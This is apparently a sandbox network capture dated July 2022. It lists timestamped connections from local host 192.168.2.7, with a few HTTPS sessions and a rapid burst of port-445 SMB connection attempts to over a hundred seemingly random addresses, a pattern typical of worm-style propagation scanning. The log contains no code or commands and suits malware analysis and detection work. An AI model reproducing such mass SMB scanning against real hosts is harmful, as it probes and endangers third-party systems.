Jul 20, 2022 13:24:30.336210966 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.336246014 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.336327076 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.337177038 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.337193966 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.432769060 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.432893991 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.435609102 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.435630083 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.435965061 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.437479019 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.437623978 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.437634945 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.437803984 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.468795061 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.468875885 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.468946934 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.473090887 CEST	50479	443	192.168.2.7	20.199.120.151
Jul 20, 2022 13:24:30.473118067 CEST	443	50479	20.199.120.151	192.168.2.7
Jul 20, 2022 13:24:30.901798010 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:30.904946089 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:31.183650017 CEST	50480	445	192.168.2.7	178.183.178.49
Jul 20, 2022 13:24:31.218894958 CEST	50481	445	192.168.2.7	209.0.235.88
Jul 20, 2022 13:24:31.219252110 CEST	50482	445	192.168.2.7	143.174.222.236
Jul 20, 2022 13:24:31.228075981 CEST	50483	445	192.168.2.7	41.132.106.106
Jul 20, 2022 13:24:31.230680943 CEST	50484	445	192.168.2.7	112.79.53.204
Jul 20, 2022 13:24:31.230993032 CEST	50486	445	192.168.2.7	18.178.46.61
Jul 20, 2022 13:24:31.231040001 CEST	50485	445	192.168.2.7	152.156.213.71
Jul 20, 2022 13:24:31.231074095 CEST	50487	445	192.168.2.7	166.5.254.196
Jul 20, 2022 13:24:31.231143951 CEST	50488	445	192.168.2.7	156.175.196.70
Jul 20, 2022 13:24:31.231193066 CEST	50489	445	192.168.2.7	111.194.174.233
Jul 20, 2022 13:24:31.231259108 CEST	50490	445	192.168.2.7	186.198.105.83
Jul 20, 2022 13:24:31.314476013 CEST	50491	445	192.168.2.7	135.146.233.111
Jul 20, 2022 13:24:31.315001011 CEST	50492	445	192.168.2.7	210.152.141.80
Jul 20, 2022 13:24:31.315572977 CEST	50493	445	192.168.2.7	173.183.168.130
Jul 20, 2022 13:24:31.316003084 CEST	50494	445	192.168.2.7	53.99.102.179
Jul 20, 2022 13:24:31.316487074 CEST	50495	445	192.168.2.7	156.98.189.84
Jul 20, 2022 13:24:31.316960096 CEST	50496	445	192.168.2.7	66.143.76.148
Jul 20, 2022 13:24:31.317481995 CEST	50497	445	192.168.2.7	162.73.239.228
Jul 20, 2022 13:24:31.318005085 CEST	50498	445	192.168.2.7	171.209.140.98
Jul 20, 2022 13:24:31.318516970 CEST	50499	445	192.168.2.7	70.57.153.27
Jul 20, 2022 13:24:31.319019079 CEST	50500	445	192.168.2.7	118.122.96.85
Jul 20, 2022 13:24:31.319506884 CEST	50501	445	192.168.2.7	118.152.80.30
Jul 20, 2022 13:24:32.076787949 CEST	50502	445	192.168.2.7	149.12.250.218
Jul 20, 2022 13:24:32.310161114 CEST	50503	445	192.168.2.7	10.161.210.185
Jul 20, 2022 13:24:32.340631962 CEST	50504	445	192.168.2.7	104.15.85.222
Jul 20, 2022 13:24:32.340636015 CEST	50505	445	192.168.2.7	125.107.182.31
Jul 20, 2022 13:24:32.340702057 CEST	50506	445	192.168.2.7	152.43.207.122
Jul 20, 2022 13:24:32.357533932 CEST	50507	445	192.168.2.7	160.81.40.215
Jul 20, 2022 13:24:32.357588053 CEST	50509	445	192.168.2.7	103.139.43.248
Jul 20, 2022 13:24:32.357713938 CEST	50510	445	192.168.2.7	134.100.220.172
Jul 20, 2022 13:24:32.357717037 CEST	50508	445	192.168.2.7	146.146.44.130
Jul 20, 2022 13:24:32.357745886 CEST	50511	445	192.168.2.7	165.54.40.230
Jul 20, 2022 13:24:32.357811928 CEST	50513	445	192.168.2.7	108.51.103.8
Jul 20, 2022 13:24:32.358305931 CEST	50512	445	192.168.2.7	110.205.35.164
Jul 20, 2022 13:24:32.443247080 CEST	50514	445	192.168.2.7	157.230.153.17
Jul 20, 2022 13:24:32.445774078 CEST	50515	445	192.168.2.7	188.237.193.38
Jul 20, 2022 13:24:32.445993900 CEST	50516	445	192.168.2.7	191.202.39.95
Jul 20, 2022 13:24:32.446054935 CEST	50517	445	192.168.2.7	197.249.110.91
Jul 20, 2022 13:24:32.446091890 CEST	50518	445	192.168.2.7	56.16.115.85
Jul 20, 2022 13:24:32.446161032 CEST	50519	445	192.168.2.7	45.38.86.111
Jul 20, 2022 13:24:32.446242094 CEST	50520	445	192.168.2.7	79.137.165.115
Jul 20, 2022 13:24:32.446247101 CEST	50521	445	192.168.2.7	47.158.233.50
Jul 20, 2022 13:24:32.446279049 CEST	50522	445	192.168.2.7	100.222.241.15
Jul 20, 2022 13:24:32.446331024 CEST	50523	445	192.168.2.7	125.105.122.254
Jul 20, 2022 13:24:32.446407080 CEST	50524	445	192.168.2.7	116.99.97.14
Jul 20, 2022 13:24:32.772713900 CEST	445	50516	191.202.39.95	192.168.2.7
Jul 20, 2022 13:24:33.200125933 CEST	50525	445	192.168.2.7	140.13.50.217
Jul 20, 2022 13:24:33.433620930 CEST	50516	445	192.168.2.7	191.202.39.95
Jul 20, 2022 13:24:33.450948000 CEST	50526	445	192.168.2.7	126.200.89.21
Jul 20, 2022 13:24:33.465523005 CEST	50527	445	192.168.2.7	209.142.237.78
Jul 20, 2022 13:24:33.466351986 CEST	50528	445	192.168.2.7	96.224.229.26
Jul 20, 2022 13:24:33.467092037 CEST	50529	445	192.168.2.7	158.205.125.22
Jul 20, 2022 13:24:33.481587887 CEST	50530	445	192.168.2.7	37.215.127.173
Jul 20, 2022 13:24:33.482434988 CEST	50531	445	192.168.2.7	101.224.90.141
Jul 20, 2022 13:24:33.483189106 CEST	50532	445	192.168.2.7	163.144.58.249
Jul 20, 2022 13:24:33.483949900 CEST	50533	445	192.168.2.7	49.68.193.204
Jul 20, 2022 13:24:33.484674931 CEST	50534	445	192.168.2.7	29.229.36.235
Jul 20, 2022 13:24:33.485408068 CEST	50535	445	192.168.2.7	95.168.187.156
Jul 20, 2022 13:24:33.486162901 CEST	50536	445	192.168.2.7	183.224.69.203
Jul 20, 2022 13:24:33.504288912 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:33.559092999 CEST	50537	445	192.168.2.7	39.55.104.134
Jul 20, 2022 13:24:33.559839964 CEST	50538	445	192.168.2.7	98.236.202.39
Jul 20, 2022 13:24:33.560693979 CEST	50539	445	192.168.2.7	53.89.253.246
Jul 20, 2022 13:24:33.561526060 CEST	50540	445	192.168.2.7	147.229.204.25
Jul 20, 2022 13:24:33.562359095 CEST	50541	445	192.168.2.7	147.59.248.17
Jul 20, 2022 13:24:33.563143015 CEST	50542	445	192.168.2.7	172.168.68.72
Jul 20, 2022 13:24:33.563927889 CEST	50543	445	192.168.2.7	181.88.68.112
Jul 20, 2022 13:24:33.564882994 CEST	50544	445	192.168.2.7	26.148.19.135
Jul 20, 2022 13:24:33.565947056 CEST	50545	445	192.168.2.7	170.108.22.184
Jul 20, 2022 13:24:33.566754103 CEST	50546	445	192.168.2.7	44.138.89.226
Jul 20, 2022 13:24:33.567509890 CEST	50547	445	192.168.2.7	196.99.188.116
Jul 20, 2022 13:24:33.760149002 CEST	445	50516	191.202.39.95	192.168.2.7
Jul 20, 2022 13:24:34.094439030 CEST	50548	445	192.168.2.7	48.216.173.57
Jul 20, 2022 13:24:34.328191996 CEST	50549	445	192.168.2.7	211.219.15.62
Jul 20, 2022 13:24:34.576009035 CEST	50550	445	192.168.2.7	22.104.85.228
Jul 20, 2022 13:24:34.590426922 CEST	50551	445	192.168.2.7	40.26.220.220
Jul 20, 2022 13:24:34.591095924 CEST	50552	445	192.168.2.7	65.180.214.18
Jul 20, 2022 13:24:34.591782093 CEST	50553	445	192.168.2.7	175.71.212.87
Jul 20, 2022 13:24:34.608112097 CEST	50555	445	192.168.2.7	216.227.126.185
Jul 20, 2022 13:24:34.608123064 CEST	50554	445	192.168.2.7	66.183.222.55
Jul 20, 2022 13:24:34.608290911 CEST	50556	445	192.168.2.7	10.127.121.198
Jul 20, 2022 13:24:34.608303070 CEST	50557	445	192.168.2.7	139.164.171.216
Jul 20, 2022 13:24:34.608402967 CEST	50558	445	192.168.2.7	198.220.153.65
Jul 20, 2022 13:24:34.608413935 CEST	50559	445	192.168.2.7	222.89.50.73
Jul 20, 2022 13:24:34.608500004 CEST	50560	445	192.168.2.7	192.74.53.207
Jul 20, 2022 13:24:34.688566923 CEST	50561	445	192.168.2.7	145.68.94.198
Jul 20, 2022 13:24:34.689333916 CEST	50562	445	192.168.2.7	24.21.33.48
Jul 20, 2022 13:24:34.689986944 CEST	50563	445	192.168.2.7	145.109.173.251
Jul 20, 2022 13:24:34.690668106 CEST	50564	445	192.168.2.7	181.143.27.224
Jul 20, 2022 13:24:34.691323042 CEST	50565	445	192.168.2.7	189.97.129.21
Jul 20, 2022 13:24:34.691979885 CEST	50566	445	192.168.2.7	214.230.8.224
Jul 20, 2022 13:24:34.692632914 CEST	50567	445	192.168.2.7	76.248.161.251
Jul 20, 2022 13:24:34.693279982 CEST	50568	445	192.168.2.7	10.212.249.253
Jul 20, 2022 13:24:34.693922997 CEST	50569	445	192.168.2.7	128.211.16.103
Jul 20, 2022 13:24:34.694578886 CEST	50570	445	192.168.2.7	95.233.158.47
Jul 20, 2022 13:24:34.695230007 CEST	50571	445	192.168.2.7	74.135.111.224
Jul 20, 2022 13:24:35.220206976 CEST	50572	445	192.168.2.7	169.222.133.66
Jul 20, 2022 13:24:35.227629900 CEST	445	50565	189.97.129.21	192.168.2.7
Jul 20, 2022 13:24:35.460566998 CEST	50573	445	192.168.2.7	5.29.177.39
Jul 20, 2022 13:24:35.701668978 CEST	50574	445	192.168.2.7	135.65.47.142
Jul 20, 2022 13:24:35.726016045 CEST	50575	445	192.168.2.7	169.75.92.89
Jul 20, 2022 13:24:35.726022005 CEST	50576	445	192.168.2.7	123.197.157.254
Jul 20, 2022 13:24:35.726314068 CEST	50577	445	192.168.2.7	1.106.36.145
Jul 20, 2022 13:24:35.743525028 CEST	50578	445	192.168.2.7	65.42.27.155
Jul 20, 2022 13:24:35.743577957 CEST	50579	445	192.168.2.7	13.25.178.152
Jul 20, 2022 13:24:35.743876934 CEST	50581	445	192.168.2.7	59.182.77.225
Jul 20, 2022 13:24:35.743896961 CEST	50580	445	192.168.2.7	60.117.185.188
Jul 20, 2022 13:24:35.744008064 CEST	50582	445	192.168.2.7	58.22.216.64
Jul 20, 2022 13:24:35.744045019 CEST	50583	445	192.168.2.7	166.115.187.90
Jul 20, 2022 13:24:35.744097948 CEST	50584	445	192.168.2.7	157.195.182.67
Jul 20, 2022 13:24:35.810393095 CEST	50585	445	192.168.2.7	140.127.106.100
Jul 20, 2022 13:24:35.814115047 CEST	50586	445	192.168.2.7	31.53.153.72
Jul 20, 2022 13:24:35.815699100 CEST	50587	445	192.168.2.7	168.252.30.133
Jul 20, 2022 13:24:35.815850973 CEST	50588	445	192.168.2.7	25.229.111.193
Jul 20, 2022 13:24:35.815992117 CEST	50589	445	192.168.2.7	113.245.247.39
Jul 20, 2022 13:24:35.816098928 CEST	50590	445	192.168.2.7	97.63.31.141
Jul 20, 2022 13:24:35.816179991 CEST	50591	445	192.168.2.7	128.164.87.7
Jul 20, 2022 13:24:35.816286087 CEST	50592	445	192.168.2.7	22.199.156.104
Jul 20, 2022 13:24:35.816310883 CEST	50593	445	192.168.2.7	77.88.232.232
Jul 20, 2022 13:24:35.816421986 CEST	50594	445	192.168.2.7	25.39.240.25
Jul 20, 2022 13:24:35.816437006 CEST	50595	445	192.168.2.7	155.58.99.95
Jul 20, 2022 13:24:36.030370951 CEST	445	50580	60.117.185.188	192.168.2.7
Jul 20, 2022 13:24:36.124408007 CEST	50596	445	192.168.2.7	79.49.103.185
Jul 20, 2022 13:24:36.343503952 CEST	50597	445	192.168.2.7	187.38.8.24
Jul 20, 2022 13:24:36.542943954 CEST	50580	445	192.168.2.7	60.117.185.188
Jul 20, 2022 13:24:36.574822903 CEST	50598	445	192.168.2.7	220.173.186.21
Jul 20, 2022 13:24:36.585150957 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.585180044 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.585253954 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.585930109 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.585968018 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.586036921 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.587522984 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.587570906 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.587647915 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.592925072 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.592947960 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.593228102 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.593266964 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.593544006 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.593586922 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.594742060 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.594774008 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.594891071 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.595272064 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.595284939 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.660492897 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.660537958 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.663961887 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.664130926 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.664329052 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.664393902 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.664470911 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.664534092 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.665235043 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.665278912 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.665287971 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.666620016 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.666733027 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.703425884 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.703452110 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:36.703578949 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:36.825325012 CEST	50604	445	192.168.2.7	34.94.103.188
Jul 20, 2022 13:24:36.831679106 CEST	445	50580	60.117.185.188	192.168.2.7
Jul 20, 2022 13:24:36.840913057 CEST	50605	445	192.168.2.7	23.160.209.238
Jul 20, 2022 13:24:36.841691971 CEST	50606	445	192.168.2.7	117.223.221.253
Jul 20, 2022 13:24:36.842370987 CEST	50607	445	192.168.2.7	90.88.13.96
Jul 20, 2022 13:24:36.843151093 CEST	50608	445	192.168.2.7	104.194.42.155
Jul 20, 2022 13:24:36.843878031 CEST	50609	445	192.168.2.7	66.69.81.34
Jul 20, 2022 13:24:36.844564915 CEST	50610	445	192.168.2.7	148.140.193.134
Jul 20, 2022 13:24:36.846616030 CEST	50611	445	192.168.2.7	55.61.55.126
Jul 20, 2022 13:24:36.846965075 CEST	50612	445	192.168.2.7	57.36.181.236
Jul 20, 2022 13:24:36.847052097 CEST	50613	445	192.168.2.7	125.51.130.43
Jul 20, 2022 13:24:36.847120047 CEST	50614	445	192.168.2.7	176.229.171.26
Jul 20, 2022 13:24:36.922358036 CEST	50615	445	192.168.2.7	28.245.152.58
Jul 20, 2022 13:24:36.922605038 CEST	50616	445	192.168.2.7	176.113.186.140
Jul 20, 2022 13:24:36.923001051 CEST	50617	445	192.168.2.7	157.155.81.166
Jul 20, 2022 13:24:36.923016071 CEST	50618	445	192.168.2.7	214.241.215.30
Jul 20, 2022 13:24:36.923086882 CEST	50619	445	192.168.2.7	180.215.81.3
Jul 20, 2022 13:24:36.923186064 CEST	50620	445	192.168.2.7	103.61.155.204
Jul 20, 2022 13:24:36.923213959 CEST	50621	445	192.168.2.7	125.21.167.39
Jul 20, 2022 13:24:36.923280001 CEST	50622	445	192.168.2.7	66.51.205.134
Jul 20, 2022 13:24:36.923317909 CEST	50623	445	192.168.2.7	71.140.252.45
Jul 20, 2022 13:24:36.923388958 CEST	50624	445	192.168.2.7	104.3.164.214
Jul 20, 2022 13:24:36.923425913 CEST	50625	445	192.168.2.7	201.205.202.133
Jul 20, 2022 13:24:37.235157967 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.235198975 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.235272884 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.236193895 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.236239910 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.246833086 CEST	50627	445	192.168.2.7	57.122.96.221
Jul 20, 2022 13:24:37.346374989 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.346503019 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.348671913 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.348690987 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.349061966 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.352854967 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.352907896 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.352919102 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.353080034 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.380081892 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.380172968 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.380271912 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.380376101 CEST	50626	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:37.380393982 CEST	443	50626	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:37.465523005 CEST	50628	445	192.168.2.7	65.231.111.163
Jul 20, 2022 13:24:37.686352015 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.686378002 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.686784983 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.686794996 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.686847925 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.687098980 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.687585115 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.687601089 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.687611103 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.687617064 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.687829018 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.687844038 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.687954903 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.688028097 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.688035965 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.688091993 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.688153982 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.688323975 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.688729048 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.688978910 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.689089060 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.689107895 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.689516068 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.689575911 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.689814091 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.689815044 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.689889908 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.700088024 CEST	50629	445	192.168.2.7	43.7.63.151
Jul 20, 2022 13:24:37.706245899 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.706274033 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.706296921 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.706386089 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.706399918 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.706408024 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.706475019 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707524061 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707576036 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707580090 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707590103 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707612038 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707612038 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707633972 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707696915 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707722902 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707736969 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707783937 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707801104 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707808971 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707828045 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707835913 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707865000 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.707890034 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707925081 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.707953930 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.708004951 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.708019018 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.708031893 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.708076954 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.708367109 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.708414078 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.708508015 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.708523035 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.708530903 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709028959 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709054947 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709054947 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709167004 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709168911 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709182978 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709186077 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709194899 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709218025 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709280968 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709316015 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709317923 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709336996 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709368944 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709381104 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709408045 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709431887 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709434986 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709441900 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709541082 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709692001 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709733009 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709784985 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709791899 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709800959 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709810019 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709821939 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709851027 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709878922 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.709958076 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.709969997 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.710146904 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.710155010 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.710401058 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.710525990 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711000919 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711095095 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711107016 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711122036 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711167097 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.711190939 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711210012 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.711234093 CEST	443	50601	80.67.82.211	192.168.2.7
